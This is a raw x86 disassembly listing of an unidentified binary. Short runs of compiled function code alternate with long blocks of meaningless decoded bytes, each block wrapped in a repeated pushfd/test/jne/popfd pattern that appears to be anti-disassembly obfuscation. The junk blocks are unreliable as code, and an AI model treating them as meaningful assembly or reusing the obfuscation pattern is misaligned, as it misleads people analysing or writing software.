mov ch, 0xa8
ja 0x1008398d
rcr dword [eax - 0x49], cl
mov edi, 0x2d68bd09
outsb dx, byte [esi]
adc dword [eax - 0x69], 0xe89da8b5
lds edx, [eax - 1]
invalid
popfd
call fcn.10078ae1
cmp dword [ebp - 0xc68], ebx
jbe 0x100851de
popfd
cwde
invalid
mov esi, dword [ebp - 0xcc4]
pushfd
test byte [0x10083ae2], 0xee
jne 0x10083ae3
cmp al, 0xcd
cmp al, 0xcd
jge 0x10083a06
adc dl, byte [ebx - 0x3a]
xlatb
mov edi, 0x2aeb29b6
jbe 0x10083a49
sub dh, byte [esi - 3]
or esp, ebp
aaa
adc al, 0x4f
mov dl, 0xf5
test al, 0xf6
jo 0x10083a58
cmc
adc edx, dword [ecx]
cli
out dx, eax
cmp dword [ecx - 0x75f4944b], 0xeb35be6b
int1
push es
mov ds, esi
mov dl, 0x18
mov ah, 0x1a
popfd
in al, dx
push ebx
pop ebp
add eax, 0x2c4dbcc1
mov al, byte [0xbdb72a87]
mov esp, 0xc7c06f87
in eax, dx
dec ebx
dec ebp
dec dword [eax]
jg 0x10083a1d
lahf
mov dword [0x3458a38d], eax
push ebx
loopne 0x10083a98
and dword [0x8717840a], edx
mov ah, byte [edi + 0x24]
mov eax, 0xb21585a8
daa
popfd
mov ecx, 0xd63f9977
and al, 0xb8
test al, 0x85
adc eax, 0xb99d27b2
ja 0x10083a3d
aas
salc
add ecx, edx
out dx, eax
int3
popfd
cmp dword [esi + 0x10], ebx
jbe 0x100851de
lea ecx, [ebp - 0xd24]
call fcn.1005ee46
cmp dword [ebp - 0xc64], 0x10
mov eax, dword [ebp - 0xc78]
mov byte [ebp - 4], 0xc
jae 0x10083bbe
sub dword [edi - 0x73000000], 0xffffff85
mov bl, dh
invalid
lea eax, [ebp - 0xc78]
pushfd
test byte [0x10083bbc], 0xfa
jne 0x10083bbd
daa
sbb byte [esp - 0x6b], ch
xchg edi, eax
add dl, byte [eax - 0x7a74fad7]
push 0xffffffffffffffbd
xlatb
inc edx
ror bl, 0x9d
and dword [edi], esi
cdq
and eax, 0xc8e86b7f
aad 0x81
jns 0x10083b52
retf
mov eax, dword [0x840daab1]
out dx, al
jae 0x10083b0a
and ebp, edx
test al, 0xf2
xchg ebx, eax
jo 0x10083b6b
sbb byte [eax - 0x6ff2efd4], cl
invalid
mov byte [eax + edx], ch
or eax, 0xade0fe90
jne 0x10083bbd
jge 0x10083b6a
aas
fst dword [ebx + 0x3c04f680]
rcr dword [ecx], 1
add eax, 0x4b46f679
test byte [esi + 0x4b], 0xae
inc esi
dec ebx
scasb al, byte es:[edi]
mov ss, word [edx + 0x5fd021d9]
add dword [edx + 0x5f], esi
mov al, byte [0x92894111]
push ss
cmp byte [eax], dh
int1
imul ecx, dword [ebx], 0xffffffde
das
aam 0x2a
loopne 0x10083b34
fsubp st(4)
or byte [edx], bl
enter 0x362b, 0x40
cli
salc
in al, 0x85
out 0xca, al
mov ax, 0xa8b
or al, 0x99
mov dword [0x918fa3d9], eax
dec esp
sub eax, 0x5b209d14
add eax, 0x8fc509c0
dec ebx
push ds
sub dl, dl
sal ebp, 0x3a
leave
fimul dword [edx - 0x1d]
xor eax, 0x68c78a3
popfd
push ebx
push eax
lea ecx, [ebp - 0xd24]
call fcn.100714b9
cmp eax, ebx
je 0x10083cb2
lea ecx, [ebp - 0xd20]
pushfd
test byte [0x10083c4f], 0xad
jne 0x10083c50
jge 0x10083c25
call [esi]
in al, 0x6e
insd dword es:[edi], dx
mov edx, 0x3a39877c
mov edi, 0x3f4649fd
rcr dword [0xba0887a8], cl
adc dword [esi + 0x2c], esi
std
dec ebp
or ch, cl
je 0x10083c31
mov esi, 0x85fedf52
shl dh, 1
fild dword [edx]
scasb al, byte es:[edi]
mov dword [0x5b0bdbef], eax
xlatb
les ebx, [eax + esi]
pop ss
and byte [edx + 0x7f8bfbaf], cl
aas
rol byte [eax], 0x91
lea esi, [esi]
cmp eax, 0x6250ee2c
nop
cmp esi, ebx
pop esp
xchg byte [edx], cl
mov word [0xf5e12592], ds
sub al, 0xee
push eax
bound edx, qword [eax - 0x79a30cc5]
or cl, byte [esp + ebx - 0x1eda6d1b]
cmc
in eax, 0x92
and eax, 0x7623f5e1
add byte gs:[eax], al
and esi, dword [esi + 0x65]
add byte [eax], al
inc esp
aam 0xfb
mov dl, byte [eax]
imul ebp, dword [edi + 0x39], 0x55
xor byte [ecx], ah
adc dword [edx], ecx
mov ah, 0x2f
stc
aam 0x6b
fcom qword [esi - 0x4c]
push esi
mov ah, 0x9d
popfd
mov byte [ebp - 4], 3
call fcn.1005cc6e
pushfd
test byte [0x10083cab], 0x86
jne 0x10083cac
stosd dword es:[edi], eax
cmp al, 8
adc byte [esi + 0x55704875], al
dec eax
jo 0x10083cbb
popfd
not bh
adc cl, byte [ebp - 1]
aad 0xf4
xor dword [eax + ecx*2 + 0xa], esp
nop
mov ecx, 0x6857682d
xor ah, byte [esi + 0x1ac7cfa0]
xor al, 0xc6
mov ebp, dword [ebx]
daa
loopne 0x10083c4e
sbb ah, bh
adc al, 0xbe
xchg ebx, eax
jno 0x10083c5d
popal
sbb dword [edi], edx
push ss
jle 0x10083c63
push edi
and al, 0x77
adc ebx, ebx
bound ebx, qword [esp + edx*2 - 0x4e]
fisttp word [ebp + 0x28]
loop 0x10083c21
adc byte [edi + 0x5b0bbeea], bl
fild dword [eax + 0x74]
pop ebx
mov bh, 0xb1
popfd
jmp 0x100851de
mov eax, dword [esi + 0x10]
inc eax
push eax
call fcn.100d04fd
pop ecx
mov ecx, eax
pushfd
test byte [0x10083d61], 0x9e
jne 0x10083d62
add byte [ecx - 0x75], bl
enter 0xfffffffffffff69c, 5
popal
cmp eax, 0xf9e1008
test dword [ebp - 0x39000000], edx
add byte [eax], al
add bh, al
mov edx, 0x8ff8475e
insb byte es:[edi], dx
lodsd eax, dword [esi]
sbb dl, al
inc esi
ret 0x475e
xchg ecx, eax
scasd eax, dword es:[edi]
dec eax
js 0x10083d06
push edx
mov dword [0x6dc90fba], eax
push 0x28
jnp 0x10083cca
mov sp, 0x26ce
pop edi
cmp byte [edx + 0x2097c62c], 0x6b
sbb dword [eax], esp
add dword [edx], ecx
mov cl, bh
sub byte [ebp + 0x71], cl
enter 0x1750, 0xffffffffffffffa8
and eax, 0x5be57ab7
jnp 0x10083d51
dec edx
push ebp
out dx, eax
jb 0x10083cd8
pop esi
dec edi
xor byte [ecx + ebp*4 + 0x32b5e213], bh
salc
pop ebx
mov al, byte [0x764ba3a1]
mov edx, 0x5ef484
adc byte [edx - 0x6fefdd0], ah
pop ebp
mov ecx, 0x7aa6b83f
int1
push dword [0x1331c54d]
repne scasb al, byte es:[edi]
dec edx
xor ch, bl
pop ebx
pop edi
push edx
and ah, byte [esi + esi*2]
rep outsd dx, dword [esi]
cmp byte [ebp - 0x72], dl
shl dword [edi + 0x6fff1747], cl
and ebx, dword [ebp - 6]
shl dword [edi - 0x1657f9c1], 0x22
mov ah, 0xad
dec edi
xchg ebx, eax
mov al, 0xb4
add bh, byte [esi - 0x43]
push es
test al, 0xe9
and dh, byte [ebp + ebp*4 - 0x4f3c78b1]
mov ah, 2
jle 0x10083d1c
mov ch, 0xf0
push es
popfd
mov eax, dword [esi + 0x10]
lea edx, [ecx + eax]
mov dword [ebp - 0xcf0], ecx
mov dword [ebp - 0xce0], edx
pushfd
test byte [0x10083e74], 0xaa
jne 0x10083e75
adc al, dh
int1
int3
popfd
cmp ecx, ebx
je 0x10083bd3
cmp dword [esi + 0x14], 0x10
jb 0x10083e86
mov esi, dword [esi]
push esi
pushfd
test byte [0x10083eb1], 0x54
jne 0x10083fb2
inc esp
xor ebp, dword [ebx - 0x7bce988f]
lahf
xchg ebx, eax
sub al, 0xb9
les ebp, [esi - 0x16]
dec eax
les ebx, [eax + edi*4 - 0x16]
mov dword [edx], esp
xchg ecx, eax
pushal
insb byte es:[edi], dx
and dword [0xbff46cc4], ecx
xor esi, dword [edx]
hlt
cmpsb byte [esi], byte es:[edi]
jns 0x10083ecd
ror byte [ebp + 0x7f], 1
int 0x44
mov eax, dword [0xa38700f9]
xchg esp, eax
jae 0x10083eae
lea eax, [eax + 0x270b01af]
push eax
or ebp, dword [ecx - 8]
sbb ecx, dword [eax]
jnp 0x10083f4e
sbb byte [0x22e596ff], al
stosw word es:[edi], ax
mov ch, 0xa8
out dx, eax
pushal
or al, 5
insb byte es:[edi], dx
cmp eax, 0xfa4a24fb
cld
add dh, dh
sbb dword [0xa9f2098c], ebp
neg byte [ecx]
sub eax, 0xa9f2098c
add edi, dword [eax + 0x41]
jno 0x10083eb6
salc
mov byte [eax - 0x2b57a9ff], al
push ebp
cld
nop
pop ss
add ebx, esp
xor edi, dword [ecx + edx*8 + 0x72]
inc eax
inc ebx
cmp eax, 0x7e17fde3
and esp, dword [edx - 0x351e896e]
jecxz 0x10083f09
pop ss
jle 0x10083f32
mov byte [0xcae17692], al
loopne 0x10083eb2
invalid
mov dh, 0x21
outsb dx, byte [esi]
sbb dword [ebx], 0xb46212d5
pop edi
cmpsd dword [esi], dword es:[edi]
mov eax, dword [0xb33228b3]
fiadd word [edi + 0x6266d11e]
outsb dx, byte fs:[esi]
dec ecx
xor dh, byte [ebx - 0x2ee17822]
bound sp, dword [esi + ebp*2 + 0x49]
pop ebp
sti
je 0x10083f42
js 0x10083eea
cmpsd dword [esi], dword es:[edi]
stc
jae 0x10083f24
mov ebx, 0xe6544ebc
and dword [ecx + 0x59], ecx
jno 0x10083ed4
div bh
daa
fisttp dword [edx]
and eax, 0x9ed59e3b
sbb bh, 0xea
push ds
out 0xf9, al
inc ecx
jno 0x10083fb8
cmp ecx, esp
salc
push esi
je 0x10083fb3
mov cl, 0x89
adc byte [edx + 0x7d], ch
cmp al, 0x21
sbb eax, 0x6819c0f1
test al, 0x20
insd dword es:[edi], dx
jae 0x10083f0a
xor dword [ecx + ebp*4 - 0x6f], esi
scasd eax, dword es:[edi]
in eax, 0xfa
popal
rcr dword [edx - 0x9836287], cl
and bl, al
or eax, 0x1d412e1f
jl 0x10083f2d
pop ds
inc ecx
sbb eax, 0xcba89c7c
test al, 0xcb
aam 0xe0
stosb byte es:[edi], al
dec ebp
jle 0x10083f8b
arpl word [edx], cx
sbb ebp, ebp
int 0x22
leave
pop ebp
out dx, eax
and byte es:[ecx], al
push ecx
pop ebx
sub byte [ebx - 0x6de7daf2], ch
xchg dword [eax + eax*2], edx
pushfd
push esi
popfd
inc eax
push eax
push ecx
pushfd
test byte [0x10083ffe], 0xd8
jne 0x100840ff
add eax, 0x10083ffe
fmul dword [edi]
test dword [ebx], edi
add dword [eax], eax
add byte [eax - 0xa2d0689], bl
cmp eax, dword [ecx]
add byte [eax], al
cwde
ja 0x10083fc0
sal ch, cl
lahf
lahf
pop ebp
test dword [ecx - 0x57bea95a], 0x2d53c7c2
or edi, dword [ebp + 0x108f039e]
leave
movsb byte es:[edi], byte [esi]
lea ebx, [esp + edi + 0x4d46fc4e]
pop es
rol dword [edx - 0x1e], 0xbe
jbe 0x1008401b
mov dword gs:[0xfd6c67dd], eax
inc eax
sub eax, 0x448e019c
imul ebp, dword [ecx + 0x20], 0xffffffa2
jno 0x1008405f
dec eax
pop ebx
or byte [ebx + 0x78e0ac8b], ch
stosd dword es:[edi], eax
xchg ebp, eax
push ebx
jl 0x10084087
mov ecx, 0x2977f99f
cmp al, 0x74
pushfd
ja 0x10084084
xor dword [eax - 0x3871c86d], ebx
ror byte [ebp + 9], cl
int3
invalid
adc bl, byte [eax + 0x2a]
add dword [ebx - 0x1d2d29c], 0xb
neg bh
and byte [edi + 0x4f], dh
div ah
pop esp
pop edi
dec ecx
lahf
ror dword ds:[edx + 0x1a], 1
sub eax, 0x52bca7b1
lahf
pop ss
push ebx
or dword [edx + 0x22a07552], ebx
cdq
mov al, byte [0x82fc9922]
sub edi, dword [edi + edx + 0x10f168ba]
push ss
cld
sub byte [ebx], 0xbc
pop ss
mov edx, 0x1610f168
mov edi, 0xf19ceedf
out 1, al
xchg ecx, eax
mov ebx, 0xb8aa8d9c
pop ds
sbb al, 0x72
pop edi
div dword [ebp + 0x34]
fst qword [ebx - 0x19]
and dl, byte [esi - 7]
in eax, 7
sar byte [ebp + esi*4 - 0x2df05127], 0x27
mov al, byte [0x1735237d]
dec edx
mov ebp, 0x17a5fa75
imul edi, edx, 0x4a
ja 0x1008412f
ror esi, 0xe9
inc esi
mov al, 0xa6
pop edx
pop eax
cmpsd dword [esi], dword es:[edi]
xor bl, bl
arpl word [edx], sp
popal
inc ebx
test ax, 0x9a86
dec esp
adc dword [ebp + 0x12], esp
adc eax, 0x56a46a1d
mov word [ebp - 0x3bc6a494], fs
clc
push esp
mov ebx, dword [edi + 0x45]
ror esi, 1
sbb edx, dword [esi]
imul edi, ecx, 4
outsb dx, byte [esi]
clc
sub esp, dword gs:[eax + 0x1bc5097]
fsub dword [edi]
popfd
call fcn.1012231c
add esp, 0xc
push 0x100
lea ecx, [ebp - 0xd4c]
call fcn.10060f5c
mov esi, dword [ebp - 0xcf0]
mov byte [ebp - 4], 0xd
mov dword [ebp - 0xce8], ebx
lea eax, [ebp - 0xce8]
push eax
lea eax, [ebp - 0xd4c]
push eax
push esi
lea ecx, [ebp - 0xd24]
call fcn.100650dc
cmp eax, ebx
pushfd
test byte [0x100841fa], 0xfd
jne 0x100841fb
xchg esi, eax
sub eax, 0x2b338d92
sub bh, byte [ebp + 0xec18ffe]
push ss
push ecx
shl dword [eax - 0x3e], cl
push edi
cmp bh, byte [ebp + 0x76]
fidivr word [edi + esi*4 + 0x25]
sbb eax, 0xb9b7a9b6
mov eax, 0x8fbd7dc4
mov ebx, dword [eax - 0x3f]
imul ebx, dword [ebx - 0x5d], 0xffffff98
imul esi, dword [esi], 0x6114d867
push ecx
pop esp
into
das
cmc
sar dword [edx], 0xf8
les ebp, [edi + 0x1517c6f]
sbb al, 0xd2
push 0x665d47a0
xchg edx, eax
rcl byte [edx], 0x96
dec esp
movsd dword es:[edi], dword [esi]
xor byte [edi - 0x29124139], 0xcd
rcl byte [ebx + 0x3b], 0xf5
movlps xmm7, qword [esi + edx*4 + 0x744d5a2a]
jae 0x100841f7
imul edi, dword [ebp + 0x7b6ccf07], 0xa9eeebae
fcompi st(6)
test dword [ebx - 0x361da3a7], eax
push cs
imul esi, dword fs:[esi - 0xae778e9], 0xe8d41bc0
out dx, eax
lodsb al, byte [esi]
mov al, byte [0x3dc9206a]
pop eax
xchg ecx, eax
add eax, dword [0x942b8fd5]
out dx, eax
out dx, eax
or al, 0x23
xor eax, 0x2daa227f
mov edi, dword [0xbfc71f44]
sbb byte [eax + 0x13], ah
in al, dx
pushal
adc ebp, esp
arpl word [eax], bp
sbb eax, 0x18df6cd4
fistp word [eax]
push eax
movsb byte es:[edi], byte [esi]
popfd
je 0x10084f49
mov dword [ebp - 0xcb8], ebx
mov dword [ebp - 0xcec], ebx
mov dword [ebp - 0xc50], ebx
mov dword [ebp - 0xc4c], ebx
mov dword [ebp - 0xc48], ebx
mov byte [ebp - 4], 0xe
xor esi, esi
lea eax, [ebp - 0xcec]
push eax
lea eax, [ebp - 0xcb8]
push eax
push esi
pushfd
test byte [0x100842d6], 0x7d
jne 0x100842d7
jnp 0x100841e8
in al, 0x48
js 0x10084272
movsb byte es:[edi], byte [esi]
fisubr word [edi - 0x15]
push ebx
push 0xffffffffffffffb3
sub edx, dword [ebp - 0x4233ba10]
xlatb
sbb byte [eax - 0x15], ch
pop ecx
add byte [esi + 0x60], ah
pop ds
push eax
ror al, cl
jl 0x100841ef
or cl, bl
add ebp, dword [edx - 0x1ce77214]
nop
stc
sbb eax, 0x1666fbd4
sti
push ss
or eax, 0x21b94345
mov ecx, dword [ebp - 0x73]
dec esp
xchg ebp, ebx
out 0x60, eax
cmp edx, ecx
salc
sub ebx, dword [edx + eax*2 - 0x51]
sbb byte [0x381c462f], 2
jb 0x1008425c
sub ch, byte [eax]
xchg ebp, eax
fldcw word [eax]
into
mov edx, 0x6b14a604
push 0xffffffffffffffe4
jno 0x10084320
in al, 0x35
sbb edi, ebx
xchg ebx, ebp
ror dword [ebx - 0x503f29e1], cl
ficomp word [ebx]
push ss
xor ch, dh
fiadd dword [edi + edi*2 - 0x7aea7ab7]
mov dl, 0xe4
sbb dword [ebx + esi*8 + 0x67], ebp
dec dx
int3
popfd
lea ecx, [ebp - 0xd4c]
call fcn.1005ab1f
cmp dword [ebp - 0xcb8], ebx
pushfd
test byte [0x100842fa], 0xa0
je 0x100843fb
mov edi, 0xb314ed45
in al, dx
xchg dword [edx + 0x10a398c1], eax
push edi
shl dword cs:[edx - 0x2ec7b96a], 0x6f
movsd dword es:[edi], dword [esi]
les edx, [ecx + ebp*2 - 0x5a6c327f]
xor ch, byte [eax - 0x3e5e5e4e]
xor eax, 0x6f16b775
mov al, byte [0xfb6efe0e]
jo 0x100842e9
push cs
invalid
test byte [eax + 0x5cf09446], bh
rcl byte [ebp + 0x56]
add al, 6
push edi
ror ebp, 1
ror dword [edx + 0x7f90c7c3], 0xfc
out 0x9c, eax
cmp dword [ebp - 0x54], esi
or ecx, dword [0xc3086861]
div dword [esp + eax*8 - 0x648fc8d]
xchg esp, eax
or eax, 0xd28e512f
ja 0x1008435c
xor eax, 0xb3906f70
adc eax, 0x2054e51c
xchg esp, eax
sub dh, al
aad 0xbb
push ecx
in eax, 0x54
and byte [eax + ebp + 0x51bbd5c6], dl
adc al, 7
scasd eax, dword es:[edi]
sbb eax, 0x5bfa03fa
add dword [edi], edi
mov word [esi - 0xd5aa852], gs
cmp dword [edi + 0x1d], 0xb84b8fd1
cmp bh, byte [eax - 0x17c593f2]
dec ecx
das
mov dl, 4
dec esi
pop esp
adc ebx, 0x62
add ecx, dword [0xc056f596]
loop 0x100843d4
or edx, ebx
inc esp
jg 0x100843bf
inc ecx
mov edi, 0x9340d42c
out 0x1d, al
and dword [ebp + 3], esp
sal byte fs:[eax], 0xe0
push edi
dec eax
call 0x78490dc7
and ebx, 0xffffffdb
in eax, dx
in al, dx
in eax, 0xaa
std
insb byte es:[edi], dx
in eax, 0xd0
adc ebp, eax
dec ebp
jnp 0x100843b9
inc ecx
fsubr qword [edx]
xchg ebx, eax
cmp eax, 0xc6edf392
loop 0x10084414
jns 0x1008443f
out 0xd5, eax
rcl dword [ebx]
dec ebx
loopne 0x10084428
add dword [ecx + 6], ebx
mov dword [0xe4b1a0a3], eax
adc eax, dword [edx]
salc
movsd dword es:[edi], dword [esi]
mov edx, 0xb6b6fd10
mov al, byte [ecx + 0x48bc88e6]
rcl byte [ebp - 0x26b23d37], cl
sbb dword [edi + 8], eax
cmpsb byte [esi], byte es:[edi]
pop ebx
mov cl, 4
out 0x88, al
mov esp, 0xc995d248
ret 0xd94d
or byte [esi - 0x62fb4ea5], ah
popfd
je 0x10084704
mov eax, dword [ebp - 0xcec]
cmp eax, ebx
je 0x10084704
sub eax, dword [ebp - 0xcb8]
pushfd
test byte [0x1008445a], 0x38
jne 0x1008455b
invalid
jb 0x100843f6
pushfd
ror byte [edx], 0xb7
jns 0x10084454
or dh, byte [edi - 0x53d8869b]
lodsb al, byte [esi]
xchg edx, eax
je 0x100843ea
pushal
add esp, esi
xchg edi, eax
fisub dword [ebp - 0x7f]
popal
mov cl, 0x51
jo 0x1008446d
pushfd
sahf
jg 0x10084441
inc eax
in al, dx
aas
push cs
push edi
mov edx, dword [eax + 0x15]
xchg edx, eax
push ecx
mov eax, 0x3c808c21
push edi
push 0x55f70def
pop edi
cli
or eax, 0xfa5f55f7
or al, 0x92
sahf
mov word [esi], ds
mov eax, 0xa32a300e
push ds
sbb byte [esi + edx*4 + 0x1e], cl
mov dword [edx + 0x1e], esi
pop edx
pop edx
add eax, 0x169af7ea
or dl, byte [0xe0de5e89]
xor ah, byte [ecx + 0x26]
lds esi, [ecx - 0x6d50162f]
popal
lds esi, es:[ecx - 0x6d50162f]
mov dh, 0xa8
mov esi, 0x285cd422
sbb eax, 0xb94ab594
call 0x897f4bf3
add ch, byte [ecx]
jle 0x100844fa
xor bh, 0x60
mov ecx, 0x2eb01ea2
jno 0x10084506
inc edx
add eax, 0x61f45db5
call 0x9b43c430
int3
jg 0x100844e6
mov ecx, esp
xchg edi, eax
or dword [ecx - 0x1120e442], 0xb7388f36
in eax, dx
adc esp, dword [0x88cdee63]
inc esp
test eax, 0x9a39bb16
popfd
sbb dword [edi - 0x1f], ebp
imul byte [ebp - 0x4e669bcc]
sbb ecx, dword [edx + 0x99b5139]
cdq
mov cl, 0x1b
mov bh, byte [ecx]
push ecx
wait
or dword [esp + eax*4], edi
cmp al, 0x84
out 0x4d, al
inc ebp
mov ds, word [ecx + eax*2 + 0x4a]
daa
cli
mov dh, 0x3a
enter 0xffffffffffffa9d6, 0xffffffffffffffb8
out 0x4e, eax
inc ecx
or al, 0xa0
movsd dword es:[edi], dword [esi]
jne 0x100844cd
add al, 0xea
jae 0x1008447a
cmpsd dword [esi], dword es:[edi]
imul esi, ecx, 0xdbd83be3
in al, 0x49
dec ecx
fistp dword [ebx]
xor edi, ebx
imul byte [esi - 3]
dec esp
in al, dx
ja 0x100844a9
cld
xor dword [esp + edi*2 + 0x57fd0c4a], 0xf
bswap edx
cmp dl, 0xca
inc ebp
or byte [edx + 0x70627eff], bl
pop edi
pop eax
mov eax, 0x692fad1
imul edi, dword [ecx - 0x1b69fe41], 0xffffffa0
arpl word [ecx + ebx*2 - 0x5da8d93f], ax
sub dword [ebx - 0x3c], 0x112d5b0
pushfd
jbe 0x1008459d
enter 0x45ee, 0xffffffffffffffb8
xchg edi, eax
pop esp
pop esp
int1
jle 0x100844d5
push ss
daa
lds ebx, [esi - 0x322f5ca5]
mov al, 0xfa
mov ebp, 0xab913d29
jl 0x100845a1
push edi
cmpsd dword [esi], dword es:[edi]
lds esp, [edx]
xchg edi, eax
popfd
lea ecx, [ebp - 0xc94]
push eax
push dword [ebp - 0xcb8]
mov dword [ebp - 0xc80], 0xf
mov dword [ebp - 0xc84], ebx
mov byte [ebp - 0xc94], bl
call fcn.10005303
pushfd
test byte [0x1008465c], 0xf0
jne 0x1008465d
sbb ebp, dword [esp + esi - 0x7b1363d8]
add al, 0x7e
inc esi
sal byte [ebx + ecx*2], cl
xor al, 0x4b
sbb edi, dword [ecx - 0x69cc46c3]
lds ebx, [edx + 0x668d5d2]
out 0xb5, eax
cmp eax, 0xc59633b9
lcall 0xb5e7, 0x668d5d2
jnp 0x10084629
out dx, al
push cs
pop ebp
push cs
mov dword [0xeaada72], eax
xor ebx, dword [ecx - 0x76977636]
test bl, al
push ss
int3
mov eax, dword [0x92eb8542]
mov esp, 0x75a64474
xchg byte [eax + esi*4 + 0x75], cl
in eax, dx
sbb dword [ebx + 0x3ac320a8], ecx
mov dword [ecx + 0x52], 0x36dcdb15
cdq
or eax, 0x28
bound esp, qword [ecx - 0x36cc364b]
add dword [0x4b1ee35e], esp
in al, dx
clc
ret
pop edi
adc eax, 0x73cdb495
popfd
lea eax, [ebp - 0xc94]
push eax
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0xf
call fcn.1007a294
push ebx
push 1
lea ecx, [ebp - 0xc94]
pushfd
test byte [0x100846ac], 0xae
jne 0x100846ad
loopne 0x1008463c
mov dword [0xbf0c452f], eax
jb 0x10084657
out 0xce, al
popal
mov esp, 0x79d74f46
mov ch, 0x21
mov dl, byte [ecx + 0x65ce4e22]
rcl byte [ebp - 0x4432c65d]
xlatb
imul edx, ecx, 0xc01f7446
popfd
mov byte [ebp - 4], 0xe
call fcn.10002a9a
inc esi
cmp esi, 1
jl 0x10084226
pushfd
test byte [0x10084702], 0x5a
jne 0x10084703
ja 0x10084742
pxor mm7, qword [ebx]
call 0xe6db03ca
inc ecx
pop edx
test byte [ecx + 0x3227d998], al
fcom dword [ebx + edx*8 + 0x2c228a00]
sbb eax, 0xb61aa0b8
xchg ecx, eax
adc esp, eax
pop es
sbb dh, byte [esi + 0x7c41191]
xor byte [esi - 0x68], 0x57
mov dl, 0x49
cmp byte [esi - 0x4bfb1e3d], bh
mov bh, 0xf8
push ss
outsd dx, dword [esi]
push ebp
lodsb al, byte [esi]
sbb ebp, dword [ebx - 0x13]
popfd
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0xcb8], eax
pushfd
test byte [0x10084731], 1
jne 0x10084832
pushfd
add al, 0x26
ror dword [edi + 0x3d], 1
fidivr dword [ecx + 0x67]
xlatb
and eax, 0x942a0f3c
test eax, 0xf1b5a202
scasd eax, dword es:[edi]
pop esp
ja 0x1008475f
adc dh, byte [eax + 0x56]
add byte [ebp - 0x7274b7ad], 0x67
aad 0x90
nop
sti
and ch, dh
pop ebp
push cs
push ecx
inc esi
pushfd
jecxz 0x100846e7
adc eax, 0x69768243
jl 0x10084777
add ch, byte [edx - 5]
ror byte [edx], 0xf0
inc edi
mov eax, 0xf775d9dd
or dh, bl
xchg esi, eax
out 0x43, eax
test dword [edx], 0x43e796f3
pop eax
mov eax, 0x835a9bed
cmp ch, 0x6f
int3
push edx
push es
aam 2
push ss
jns 0x10084733
insd dword es:[edi], dx
dec eax
sub esi, ebp
pop ds
sahf
mov eax, 0x3639ff0a
jge 0x100847f2
mov edi, 0xf96bd471
xor eax, 0xce1431c
or dword [ebp - 0x520b960b], esp
mov al, 0xe3
dec edi
test dword [edx - 0x23768419], esp
imul edx, dword [ebp - 0x1c2dcc85], 0x4d
and bh, dl
adc al, dl
mov al, byte [0xf94903]
and byte [esi - 0x7048784e], ah
xor dword [ecx - 0x68], esi
pop ebx
mov edi, 0x2c8ca6f9
sbb byte [ecx - 0xa], ch
pop es
pushfd
sub ebp, dword [ecx + 2]
xchg ebx, eax
movsd dword es:[edi], dword [esi]
nop
not byte [edx - 0x128ae649]
xchg esp, eax
and byte [eax + 0x1ffbcc38], bl
daa
insb byte es:[edi], dx
pushfd
das
cdq
stc
mov eax, dword [0x8d88813d]
dec eax
sbb ecx, ebp
salc
cdq
mov ah, 0x7c
inc ebp
xor ecx, esi
dec edi
push cs
mov esp, 0xf212e589
in al, 0x57
lahf
mov word [esi + 0x4f], fs
push 0xffffffffffffffef
scasd eax, dword es:[edi]
fbld tbyte [ebx - 0x6f]
les ebx, [edx]
sbb bh, byte [eax]
cmp dword [0x5d82ea73], esp
cmp byte [ecx], bh
and eax, 0x5d82ea73
sub eax, 0xf37b4707
push es
fisub word [edx - 0x7aaa6be4]
jo 0x100847ef
cmp eax, dword [edx]
fbld tbyte [esi - 0x1c21c6a4]
jle 0x10084806
add dword [ebx - 0x532e3969], 0x6cae2ad0
push eax
push 0x7c
popfd
jmp 0x10084d85
add eax, 0xf69c0000
add eax, 0x1008487b
or byte [ebp + 0x3a], dh
les ebx, [esi]
mov esi, 0x3c2a4adc
int3
add bh, bl
popal
stosd dword es:[edi], eax
imul ebx, dword [esi], 0xa1cf0c0e
bnd jg 0x10084805
js 0x10084835
leave
pop esp
in al, dx
and al, 0xa6
fbld tbyte [edi - 0x57]
sahf
fisubr word [edi]
not byte [edx + 0x32]
inc esp
adc ch, dl
popfd
mov byte [ebp - 0xcb1], 1
pushfd
test byte [0x100848cf], 0x25
jne 0x100849d0
rcl dword [edx + 0x6a], 0x46
mov ecx, dword [ecx + 0x40]
mov dh, 0xa1
inc edi
cmp dh, byte [esi - 0x15]
mov dh, 0x11
push 0xac26a162
cmp dh, byte [ecx - 0x4543a326]
mov dl, 0xa8
xchg esi, eax
xor al, 0xef
or esi, dword [eax]
mov ebx, 0x1343bba0
int1
sbb eax, 0xa0512fae
fsub dword [esi]
pop ss
mov cl, 0x1d
push ecx
adc al, 0xce
and dl, bl
loop 0x1008485c
cmp dword [ecx - 0x5e], 0xfffffff3
inc esp
aam 0x71
or ecx, dword [ebx + 0x1845d414]
in eax, 0xa0
loopne 0x100848b0
mul byte [ecx + 0x79]
js 0x10084927
rcr eax, cl
in eax, dx
scasb al, byte es:[edi]
sti
push es
invalid
xor ebp, dword [esi + 0x7746d9f2]
sbb dword [ebx - 0x2676e11], ecx
lodsd eax, dword [esi]
stosb byte es:[edi], al
cdq
pop ebx
pop edi
arpl di, bp
sub eax, 0xa5f38489
cdq
imul esp, dword [ebp + 0x18b17354], 0xaae3b0af
sti
adc edx, dword ss:[ecx - 0x62]
sahf
cmp edi, dword [esi - 0x7c4564b4]
dec esp
cmp esi, dword [ecx]
rcl byte [esi - 0x23]
lahf
jnp 0x1008499e
xchg edx, eax
in al, 0xd2
or ebp, dword [edx]
xor bl, dl
cmp al, 0xab
inc ecx
and dword [eax], ebp
test al, 0x3c
clc
cmc
mov edx, es
xchg byte [edi - 0x47959e3b], bh
mov dword [0x72b225b7], eax
push ebx
dec esi
stosb byte es:[edi], al
out dx, al
or eax, 0x1b2864ca
sal byte [ebx + ebx*2 + 0xbb8df31], cl
mov edi, 0xc373c3a9
sbb byte [ecx + ebx*2 + 8], ch
dec esp
daa
xchg esi, eax
adc ebx, dword [eax - 0x64]
out dx, al
fstp dword [esi + 0x75aac690]
imul edx, dword [edi - 0x2ba1dcdf], 0xffffffd7
pop eax
push edi
cmp eax, 0x53aa4582
lodsd eax, dword fs:[esi]
sub eax, 0x4e26be8d
inc edi
cmpsd dword fs:[esi], dword es:[edi]
pushfd
sbb eax, 0xa7e015e3
cmpsd dword [esi], dword es:[edi]
push eax
add ebp, dword [esi + 0x70477d8f]
sal byte [edx], 1
lodsd eax, dword [esi]
loopne 0x1008499a
sub dl, byte [esi]
popfd
cmp esi, dword [ebp - 0xc4c]
pushfd
test byte [0x10084a6d], 0x6a
jne 0x10084a6e
shl byte [edi - 0x78], 1
adc al, 0x60
mov es, word [edx]
jnp 0x10084a3f
into
pop esi
